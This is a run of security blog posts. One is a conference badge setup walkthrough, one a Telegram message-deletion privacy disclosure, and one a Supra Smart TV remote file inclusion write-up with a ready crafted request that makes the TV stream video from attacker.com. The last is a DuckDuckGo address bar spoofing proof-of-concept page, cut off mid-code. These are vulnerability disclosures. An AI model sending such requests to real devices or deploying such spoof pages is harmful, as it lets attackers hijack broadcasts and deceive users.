The badge runs with the MicroPython on ESP32 (low-power microcontroller) so you can develop apps via MicroPython and once the application is ready, you can upload it to the <a href="https://badge.team/" target="_blank">Hatchery</a> as an egg, and the badge will be able to download and run it.<br />
<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEift4sEsHJWmVqBMMO2dVQcxEpUAe2YjZEnlO-0v6hDcXCLfappcVg7fHm9gNwEXtse8UyKAuZWSX0Bkhl5n0Wfr5zbAQOHcZB3uTBVZJLGX1hhefjM0-G5wNWUPMzOB9o7d_UpHdmYp2Q/s1600/Hacktivity.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="681" data-original-width="1600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEift4sEsHJWmVqBMMO2dVQcxEpUAe2YjZEnlO-0v6hDcXCLfappcVg7fHm9gNwEXtse8UyKAuZWSX0Bkhl5n0Wfr5zbAQOHcZB3uTBVZJLGX1hhefjM0-G5wNWUPMzOB9o7d_UpHdmYp2Q/s1600/Hacktivity.png" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><br /></td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: center;">
</div>
Connect your badge via USB and run `<b>lsusb</b>` or something alternative of `<b>lsusb</b>` in this case I have used `<b>usb-devices</b>` which prints usb device details.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQJDTTVhEnpXSRd1sLNIYrWjKpE7yhAMHXDLvTWSqJAxBXUcYZ7wuCtzM1Gs_CMwnJ0TaYc0FPyAKcoGugbhoCKSDGNcFsccjNrJ18Afd1HV1FNOBOnh7xVDbxNpmLpUj7OKPFrNOcjro/s1600/Hacktivity.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="165" data-original-width="781" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQJDTTVhEnpXSRd1sLNIYrWjKpE7yhAMHXDLvTWSqJAxBXUcYZ7wuCtzM1Gs_CMwnJ0TaYc0FPyAKcoGugbhoCKSDGNcFsccjNrJ18Afd1HV1FNOBOnh7xVDbxNpmLpUj7OKPFrNOcjro/s1600/Hacktivity.png" /></a></div>
<br />
Further I used `<b>dmseg</b>` to list more details of the connected USB devices.<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglNUUR0j3Zm4Y1FOP64q4xa_QcuRB1HHjEpD4Y-sqCwSThIHTSgYyYAVdhvfWPst_Gm8IK_112OTiKnFSLaKsKXzWV0xEcQC11WgYmDqzVGRoo_ojcouBZp7VaZ-yR7oxy1zgSAn8LH3Y/s1600/Hacktivity.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="276" data-original-width="995" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglNUUR0j3Zm4Y1FOP64q4xa_QcuRB1HHjEpD4Y-sqCwSThIHTSgYyYAVdhvfWPst_Gm8IK_112OTiKnFSLaKsKXzWV0xEcQC11WgYmDqzVGRoo_ojcouBZp7VaZ-yR7oxy1zgSAn8LH3Y/s1600/Hacktivity.png" /></a><br />
<br />
So this gives a name of the badge which would be helpfully to connect and interact further with the badge using screen.<br />
<blockquote class="tr_bq">
<b>$</b> screen /dev/ttyACM0 </blockquote>
<div class="separator" style="clear: both; text-align: center;">
</div>
Once you are connected a welcome message is shown,<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJm0GoDH51BmHK869RdHHo9Ss7MVsFHGxOYBoT8cWO4xw4EhOzMsuRENtamZmWRPtNK-0YkE5nLqKP-DUuwRHSo0oApl5TlqvxG0Ax0mT-ij0qEMW3NX4YVQ1n35pPET18jVmUclxQ4og/s1600/Hacktivity.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="26" data-original-width="529" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJm0GoDH51BmHK869RdHHo9Ss7MVsFHGxOYBoT8cWO4xw4EhOzMsuRENtamZmWRPtNK-0YkE5nLqKP-DUuwRHSo0oApl5TlqvxG0Ax0mT-ij0qEMW3NX4YVQ1n35pPET18jVmUclxQ4og/s1600/Hacktivity.png" /></a></div>
<br />
After `Enter` is touch the badge would give you main menu and setting options the badge screen is small so moving forward we would be setting up the WiFi manually via cmdline.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr7ipk9dZbwvnI99IHLDrWSFdt8yMeTcrW38wI_jeYOQZKPMvlV0zc5PG4RtNyXEcQ1gRnhF2RC3uxgHnIraS0jY-IQ_mF_HuV5iZnOOJPNsNWbqz7HLlIBWE989PuiiYv9CGhczE7pJE/s1600/Hacktivity.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="196" data-original-width="330" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr7ipk9dZbwvnI99IHLDrWSFdt8yMeTcrW38wI_jeYOQZKPMvlV0zc5PG4RtNyXEcQ1gRnhF2RC3uxgHnIraS0jY-IQ_mF_HuV5iZnOOJPNsNWbqz7HLlIBWE989PuiiYv9CGhczE7pJE/s320/Hacktivity.png" width="320" /></a></div>
<br />
Navigate to Settings <b>--></b> WiFi and scan for networks, select your SSID and punch in the password.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimJTbZY2fUcZCGYQqc-p-s6hAb_XqJlPXGjB-VUvNPDYMiA_4wRUfvT2L4KMdF5flrqw3sq4ki8ZqtmnA2hnLHZkQu5HYjZ67AK7ZbQWNRMFQyzsJJ1irkNIS1NRbM4tM-tkmk0by48OM/s1600/Hacktivity.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="102" data-original-width="321" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimJTbZY2fUcZCGYQqc-p-s6hAb_XqJlPXGjB-VUvNPDYMiA_4wRUfvT2L4KMdF5flrqw3sq4ki8ZqtmnA2hnLHZkQu5HYjZ67AK7ZbQWNRMFQyzsJJ1irkNIS1NRbM4tM-tkmk0by48OM/s1600/Hacktivity.png" /></a></div>
<br />
Now, every time you start your badge or perform any activity which requires WiFi it will auto select the SSID which you configured above and that's how you download/install apps or upgrade the badge firmware.<br />
<br />
With the help of MicroPython <a href="https://wiki.badge.team/MicroPython" target="_blank">wiki</a> page I understood different functions for MicroPython and wrote a simple program that displays your name on badge.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyb51uj-SD30qb7FA-RB-cEZVEtw7kGEyBIE9sZoBiOOAz2BvodNKwrR5m15dyBz4_uZvgNYvic0ik4nPDuoSEnM3wBnleOTRnUlF9jJ0m0SzyBw0sVC_SPPBr5M45A_25sNfLRM9AxGA/s1600/Hacktivity_Hello.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="292" data-original-width="818" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyb51uj-SD30qb7FA-RB-cEZVEtw7kGEyBIE9sZoBiOOAz2BvodNKwrR5m15dyBz4_uZvgNYvic0ik4nPDuoSEnM3wBnleOTRnUlF9jJ0m0SzyBw0sVC_SPPBr5M45A_25sNfLRM9AxGA/s1600/Hacktivity_Hello.png" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">__init__.py</td></tr>
</tbody></table>
Register to <a href="https://badge.hacktivity.com/" target="_blank">Hatchery</a>, then login and upload the above code to Hatchery under a category. In this case I uploaded this code under graphic category with the name `input`. The below video PoC demonstrates that under Installer section you would have different category, select any one category which fetches the egg's from <a href="https://badge.hacktivity.com/projects" target="_blank">Hatchery</a> select any one of the egg and the badge will install it.<br />
<br />
<iframe allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="423" src="https://www.youtube.com/embed/NHdIyI4ArB8" width="677"></iframe>
<br />
<br />
Once install you can view the output under the badge screen, in this case the name was displayed you can view the <a href="https://ibb.co/xmRtS8Y" target="_blank">badge here</a>.<br />
I've also managed to download the badge firmware which can be found <a href="https://srv-file7.gofile.io/download/LJ2Ax5/hacktivity2019.bin" target="_blank">here</a>.<br />
<br />
<b>Reference:</b> <a href="https://hacktivity.com/index.php/badge/">https://hacktivity.com/index.php/badge/</a><br />
<br /></div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0Budapest, Hungary47.497912 19.04023499999993947.154509499999996 18.394787999999938 47.8413145 19.68568199999994tag:blogger.com,1999:blog-7052034537728065557.post-33783191096195279562019-09-09T07:44:00.000-07:002020-02-03T08:10:09.773-08:00Telegram addresses another privacy issue<div dir="ltr" style="text-align: left;" trbidi="on">
<b>Summary: </b>This is not a security vulnerability its a privacy issue. As I understand Telegram a messaging app focuses on privacy which has over 10,00,00,000+ downloads in Playstore. In this case, we are abusing a well-known feature of deleting messages, which allows users to delete messages sent by mistake or genuinely to any recipient. It was observed that once the message (image) is sent to the recipient, it still remains in the internal storage of the user which is located at `/<b>Telegram/Telegram Images/`</b>path.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTtMHZRFAWwLLqOl5FmmqyLQJeAfubqDpUxqcHQaQZrVul2RaInfrYtqMJ4VjOeRIGDJ1acPMKCLhBV5NvwGD4TMpX1XTZF6E6buGO7Y_91lUAzq7cTvBOfG4ztjH_tpumtUDbqMBRrHM/s1600/Dhiraj_Mishra.gif" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" data-original-height="320" data-original-width="320" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTtMHZRFAWwLLqOl5FmmqyLQJeAfubqDpUxqcHQaQZrVul2RaInfrYtqMJ4VjOeRIGDJ1acPMKCLhBV5NvwGD4TMpX1XTZF6E6buGO7Y_91lUAzq7cTvBOfG4ztjH_tpumtUDbqMBRrHM/s200/Dhiraj_Mishra.gif" width="200" /></a></div>
<b>Technical analysis: </b>I found this bug when I was researching about Telegram and MTProto protocol. To demonstrate this bug let's assume two people here, Bob and Alice.<br />
<br />
Assume a scenario where Bob sends a message which is a confidential image and was mistakenly sent to Alice, Bob proceeds to utilize a feature of Telegram known as "<b>Also delete for Alice</b>" which would essentially delete the message for Alice. Apparently, this feature does not work as intended, as Alice would still be able to see the image stored under `<b>/Telegram/Telegram Images/` </b>folder, concluding that the feature only deletes the image from the chat window.<br />
<br />
The highlighted issue is valid when we talk about Telegram "supergroups" as well, assume a case wherein you're a part of a group with 2,000,00 members and you accidentally share a media file not meant to be shared in that particular group and proceed to delete, by checking "delete for all members" present in the group. You're relying on a functionality that is broken since your file would still be present in storage for all users.<br />
Aside from this, I found that since Telegram takes `read/write/modify` permission of the USB storage which technically means the confidential photo should have been deleted from Alice's device or storage.<br />
<b><br /></b> <b>Comparison: </b>A compete, app for Telegram which is WhatsApp also has the same feature to "<b>Delete for everyone</b>". If you perform the following steps mentioned above in WhatsApp it deletes the confidential photo from Alice's `<b>/Whatsapp/Whatsapp Media/Whatsapp Images/</b>` folder and maintains the privacy however Telegram fails. WhatsApp takes the same permission when it comes to storage which is `read/write/modify`.<br />
<br />
This issue could have a bigger impact and I am not sure how far this was in place; the word privacy of Telegram fails here again, and users trust against the Telegram is at risk.<br />
<br />
<b>Video PoC:</b><br />
<br />
<iframe allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="423" src="https://www.youtube.com/embed/_S64ApkqH1Y" width="677"></iframe><br />
<b><br /></b> <b>Affected version:</b> I have tried this with the latest stable version (5.10.0 (1684)) of Telegram for Android. I haven't tried this with Telegram for iOS and Telegram for Windows but assuming this issue <b>would</b> exist on other these platforms.<br />
<br />
<b>Responsible disclosure: </b>I submitted this to Telegram sec-team via security[at]telegram[dot]org and a fix was pushed in the latest version of Telegram 5.11. Also €2,500 was awarded by Telegram.<br />
<div>
<br /></div>
<b>Other Workaround:</b> The alternative solution would be to utilize the feature of "<b>New Secret Chat</b>" in Telegram where no such traces are left.<br />
<br />
<b>References:</b> Picture used above credit and source<a href="https://telegram.org/img/tl_card_store.gif" target="_blank"><span style="font-size: x-small;">[1]</span></a>. Download the PDF version of this article<span style="font-size: x-small;">[<a href="https://github.com/RootUp/PersonalStuff/blob/master/Telegram_Privacy.pdf" target="_blank">2</a>]. </span>Later <a href="https://nvd.nist.gov/vuln/detail/CVE-2019-16248" target="_blank">CVE-2019-16248</a> was assigned to this issue.</div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-53906599886390060242019-06-03T02:02:00.001-07:002019-06-28T11:20:50.598-07:00Hacking Smart TV<div dir="ltr" style="text-align: left;" trbidi="on">
<b>Summary:</b><br />
Supra Smart Cloud TV allows remote file inclusion in the openLiveURL function, which allows a local attacker to broadcast fake video without any authentication via a /remote/media_control?action=setUri&uri=URI<br />
<br />
<iframe allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="423" src="https://www.youtube.com/embed/2babA1KVpdw" width="677"></iframe> <b><br /></b> <b><br /></b> <b>Technical Observation: </b><br />
We are abusing `openLiveURL()` which allows a local attacker to broadcast video on supra smart cloud TV. I found this vulnerability initially by source code review and then by crawling the application and reading every request helped me to trigger this vulnerability.<br />
<br />
<b>Vulnerable code:</b><br />
<blockquote class="tr_bq">
<span class="Apple-tab-span" style="white-space: pre;"> </span>function openLiveTV(url)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>{<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$.get("/remote/media_control", {m_action:'setUri',m_uri:url,m_type:'video/*'},<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>function (data, textStatus){<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if("success"==textStatus){<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>alert(textStatus);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}else<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>{<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>alert(textStatus);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>});<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}</blockquote>
<br />
<b>Vulnerable request:</b><br />
<blockquote class="tr_bq">
GET /remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8 HTTP/1.1<br />
Host: 192.168.1.155<br />
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br />
Accept-Language: en-US,en;q=0.5<br />
Accept-Encoding: gzip, deflate<br />
Connection: close<br />
Upgrade-Insecure-Requests: 1</blockquote>
To trigger the vulnerability you can send a crafted request to the URL,<br />
<br />
<span style="background-color: rgba(27 , 31 , 35 , 0.0470588); color: #24292e; font-family: , "consolas" , "liberation mono" , "menlo" , "courier" , monospace;">http://192.168.1.155/remote/media_control?action=setUri&<b>uri=</b>http://attacker.com/fake_broadcast_message.m3u8</span><br />
<span style="background-color: rgba(27 , 31 , 35 , 0.0470588); color: #24292e; font-family: , "consolas" , "liberation mono" , "menlo" , "courier" , monospace; font-size: 11.899999618530273px;"><br /></span> Although the above mention URL takes (.m3u8) format based video. We can use `curl -v -X GET` to send such request, typically this is an unauth remote file inclusion. An attacker could broadcast any video without any authentication, the worst case attacker could leverage this vulnerability to broadcast a fake emergency message (Scary right?)<br />
<br />
Although, this is still unpatched because I didn't find any-way to contact the vendor. The above video PoC shows a successful demonstration of this attack where Mr.Steve Jobs speech is suddenly replaced with attacker fake "Emergency Alert Message" this may make end user panic.<br />
<br />
<b>Updating! Friday, June 28, 2019</b><br />
<br />
I've created an <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/http/supra_smart_cloud_tv_rfi.rb" target="_blank">MSF module</a> for this vulnerability which broadcast video of Epic sax guy to the remote system.</div>
Dhirajhttp://www.blogger.com/profile/17432054824339572035noreply@blogger.com0tag:blogger.com,1999:blog-7052034537728065557.post-79333481417504999002019-05-28T12:10:00.000-07:002019-05-28T12:26:48.230-07:00DuckDuckGo Address Bar Spoofing<div dir="ltr" style="text-align: left;" trbidi="on">
<b>Summary: </b>The DuckDuckGo Privacy Browser application 5.26.0 for Android allows address bar spoofing via a setInterval call, as demonstrated by reloading every 50 ms.<br />
<br />
<b>Technical Observation: </b>A browser that’s scoring in the 50,00,000+ tier of Android download.<b> </b>It was observed that the DuckDuckGo privacy browser ominibar can be spoofed by a crafted javascript page spoofing `setInterval` function and reloading the URL in every 10 to 50 ms.<br />
<br />
<b>Proof of concept: </b>(<a href="https://gist.github.com/RootUp/0d7ea43ade16c36b7c96761385271ee3" target="_blank">Gist</a>)<br />
<b></b><br />
<span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;"><html><body></span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">
</span><span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;"><title></span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">DuckDuckGo — Privacy, simplified.</span><span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;"></title></span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">
</span><span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;"><head><style></span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">
</span><span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">p</span><span class="nc" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #445588; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; font-weight: bold; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">.b</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;"> </span><span class="p" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">{</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">
</span><span class="nl" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #990000; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; font-weight: bold; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">font-family</span><span class="p" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">:</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;"> </span><span class="n" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">Arial</span><span class="p" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">,</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;"> </span><span class="n" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">Helvetica</span><span class="p" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">,</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;"> </span><span class="nb" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #0086b3; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">sans-serif</span><span class="p" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">;</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">
</span><span class="p" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">}</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">
</span><span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;"></style></head><p</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;"> </span><span class="na" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: teal; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">class=</span><span class="s" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #dd1144; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">"b"</span><span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">><body</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;"> </span><span class="na" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: teal; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">bgcolor=</span><span class="s" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #dd1144; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">"#5DBCD2"</span><span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">></span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">
</span><span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;"><h1</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;"> </span><span class="na" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: teal; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">style=</span><span class="s" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #dd1144; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">"text-align:center;"</span><span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">></span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">We defintiely store your </span><span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;"><br></span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;"> personal information. Ever.</span><span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;"></h1></span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">
</span><span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;"><p</span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;"> </span><span class="na" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: teal; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">style=</span><span class="s" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: #dd1144; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">"text-align:center;"</span><span class="nt" style="background-color: #f8f8f8; border: 0px; box-sizing: border-box; color: navy; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;">></span><span style="background-color: #f8f8f8; color: #333333; font-family: "consolas" , "liberation mono" , "courier" , monospace; font-size: 13px; white-space: pre;">Our privacy policy is simple: we collect and share any of your personal </span><br />
